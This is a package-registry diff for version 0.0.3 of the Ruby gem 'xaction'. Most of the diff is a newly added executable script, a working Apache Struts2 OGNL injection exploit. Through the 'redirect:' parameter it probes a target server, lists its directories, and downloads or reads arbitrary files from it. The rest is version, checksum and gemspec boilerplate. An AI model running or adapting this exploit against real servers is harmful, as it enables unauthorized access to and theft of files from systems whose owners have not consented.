xaction 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,15 +1,15 @@
1
1
  ---
2
2
  !binary "U0hBMQ==":
3
3
  metadata.gz: !binary |-
4
- ZjRmNjIzM2I3NDcyZTdiNjg2NDk4NGZiMzVmZmMyMGJkOTdmY2QwMg==
4
+ YmFlZmZmMTI4ZTRkZDMwYzMxZGZjZTYzYTU0Y2Y4MjkyN2VlMWRmMw==
5
5
  data.tar.gz: !binary |-
6
- N2U0NWI1MzM2MGZiZTIxMDJlY2E0NGJmYTIwMWQ2YmQ3MGVkZDBmMg==
6
+ MTAzYjQ5OTM4NjNhYjM3MmVkOTAxOWY3MWM3MjY5OWQzMjQ1MjNmOA==
7
7
  !binary "U0hBNTEy":
8
8
  metadata.gz: !binary |-
9
- MzlhYjBiMmJlZmNkY2M2M2M4NmViZGQxNDZlZDhmNTMxM2NkOGUzNGI0YmFj
10
- ZTk1ZjRhYTJlOTgyOWFhMzZjYjAzZmYwOWU1YmUwZmE1OWIzMDMwMGUzNzVm
11
- YTY3NWQxNjFhOTE4Nzk5NjkxOTYxMWVhNWM1Nzk1YjJiNzhmNWY=
9
+ YTFlNjYyZmM0OTg5YjVkZTZiMmQyZTg5NzUyN2I3MjI4NWMwYWI0MjU4NzM0
10
+ YWVjZTQ1ZDExMmNkZDc2YTgyZTk2YjY2ZmI0Nzg2ZjFkMDYxM2M0N2NmNGI2
11
+ ZDJjZGE0NGExYjM2ZDZiMDQ5MTI0YjM4ZmQzNjI2NzNiMThhMzM=
12
12
  data.tar.gz: !binary |-
13
- ZGVlYWNlOTM5NGQ5NTA4ZWIyZDNmN2NlOWE4YTk5MzI2OGI4ZmZhYmE3Njg3
14
- NjhlNmRjZjNjNWFjYjRjMzQ4OGFkMTNjNGU5NTEwZDBmZDhiYWQxMjFmZjc4
15
- Y2U0Y2VhNjhkZjg2MzRmZTRiN2FjOWNmNTFhMDQ0MzQwZTAzNzQ=
13
+ Nzk2MjIwODk3OWU3N2YwMzZjNjA3MmY1MTc3MmQ4MDBhZGFjNTg5MjgxMGM5
14
+ MjMxNjk4ODBkZjhlYjJjZGM2NDYyODdhMjgzZGU3MTE4YTEyNjM2MjVlMmIz
15
+ NjQ2MDRhNDY4ZTI1ZDJjNzJkNTM1YWQyNTllODBmMzdhMWJhNDE=
Binary file
Binary file
@@ -0,0 +1,82 @@
1
+ require 'cgi'
2
+ require "open-uri"
3
+
4
+ def getHead
5
+ poc = CGI.escape("{")
6
+ poc += CGI.escape("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
7
+ return poc
8
+ end
9
+
10
+ def addEnd(str)
11
+ str += CGI.escape("#a_resp.getWriter().flush(),")
12
+ str += CGI.escape("#a_resp.getWriter().close()")
13
+ str += CGI.escape("}")
14
+ res = ARGV[0]
15
+ res +="?redirect:%25"
16
+ res += str
17
+ end
18
+
19
+ #exec
20
+ def exe(r)
21
+ html_response = nil
22
+ open(r) do |http|
23
+ html_response = http.read
24
+ end
25
+ return html_response
26
+ end
27
+
28
+ #test server
29
+ if ARGV.length==1||ARGV[1]=="try"
30
+ poc = getHead
31
+ poc += CGI.escape("#a_str=new java.lang.String('jq testing result:'),")
32
+ poc += CGI.escape("#b_str=new java.lang.String('struts is not safe'),")
33
+ poc += CGI.escape("#a_resp.getWriter().println(#a_str+#b_str),")
34
+ poc += CGI.escape("#dir=new java.io.File(''),")
35
+ poc += CGI.escape("#a_resp.getWriter().println('root is: '+#dir.getAbsolutePath()+'\n'),")
36
+ poc = addEnd(poc)
37
+ puts exe(poc)
38
+ end
39
+
40
+ #ls example ls d:/
41
+ if ARGV[1]=="ls"
42
+ poc = getHead
43
+ poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
44
+ poc += CGI.escape("#count=#dir.listFiles().length,")
45
+ poc += CGI.escape("#a_resp.getWriter().println(#count),")
46
+ poc = addEnd(poc)
47
+ count = exe(poc).to_i
48
+ count.times do |x|
49
+ poc = getHead
50
+ poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
51
+ poc += CGI.escape("#file=#dir.listFiles()[#{x}],")
52
+ #poc += CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+#file+'|'+(#file.isDirectory()?#file.getLength():#file.listFiles().length)),")
53
+ poc +=CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+(#file.isDirectory()?#file.listFiles().length:#file.length())+'|'+#file),")
54
+ poc = addEnd(poc)
55
+ puts exe(poc)
56
+ end
57
+ end
58
+
59
+ #downloadFile in winServer
60
+ if ARGV[1]=="download"
61
+ poc = getHead
62
+ poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
63
+ poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
64
+ poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
65
+ poc += CGI.escape("#a_resp.getOutputStream(),")
66
+ poc = addEnd(poc)
67
+ puts poc
68
+ puts exe(poc)
69
+ end
70
+
71
+ #readFile in winServer
72
+ if ARGV[1]=="cat"
73
+ poc = getHead
74
+ poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
75
+ poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
76
+ poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
77
+ poc += CGI.escape("#a_resp.getWriter().println(new java.lang.String(#filecontent)),")
78
+ poc = addEnd(poc)
79
+ puts exe(poc)
80
+ end
81
+
82
+
Binary file
@@ -1,7 +1,5 @@
1
1
  require "xaction/version"
2
2
 
3
-
4
3
  module Xaction
5
-
6
-
4
+ # Your code goes here...
7
5
  end
@@ -1,3 +1,3 @@
1
1
  module Xaction
2
- VERSION = "0.0.2"
2
+ VERSION = "0.0.3"
3
3
  end
@@ -8,8 +8,8 @@ Gem::Specification.new do |spec|
8
8
  spec.version = Xaction::VERSION
9
9
  spec.authors = ["Ju Qiang/鞠强"]
10
10
  spec.email = ["840046209@qq.com"]
11
- spec.description = %q{hello! strust2`s little bug}
12
- spec.summary = %q{hello! strust2`s little bug}
11
+ spec.description = %q{Write a gem description}
12
+ spec.summary = %q{Write a gem summary}
13
13
  spec.homepage = ""
14
14
  spec.license = "MIT"
15
15
 
@@ -17,6 +17,7 @@ Gem::Specification.new do |spec|
17
17
  spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
18
18
  spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
19
19
  spec.require_paths = ["lib"]
20
+
20
21
  spec.add_development_dependency "bundler", "~> 1.3"
21
22
  spec.add_development_dependency "rake"
22
23
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: xaction
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.2
4
+ version: 0.0.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ju Qiang/鞠强
@@ -38,18 +38,24 @@ dependencies:
38
38
  - - ! '>='
39
39
  - !ruby/object:Gem::Version
40
40
  version: '0'
41
- description: hello! strust2`s little bug
41
+ description: Write a gem description
42
42
  email:
43
43
  - 840046209@qq.com
44
- executables: []
44
+ executables:
45
+ - .DS_Store
46
+ - xaction
45
47
  extensions: []
46
48
  extra_rdoc_files: []
47
49
  files:
50
+ - .DS_Store
48
51
  - .gitignore
49
52
  - Gemfile
50
53
  - LICENSE.txt
51
54
  - README.md
52
55
  - Rakefile
56
+ - bin/.DS_Store
57
+ - bin/xaction
58
+ - lib/.DS_Store
53
59
  - lib/xaction.rb
54
60
  - lib/xaction/version.rb
55
61
  - xaction.gemspec
@@ -76,5 +82,5 @@ rubyforge_project:
76
82
  rubygems_version: 2.0.3
77
83
  signing_key:
78
84
  specification_version: 4
79
- summary: hello! strust2`s little bug
85
+ summary: Write a gem summary
80
86
  test_files: []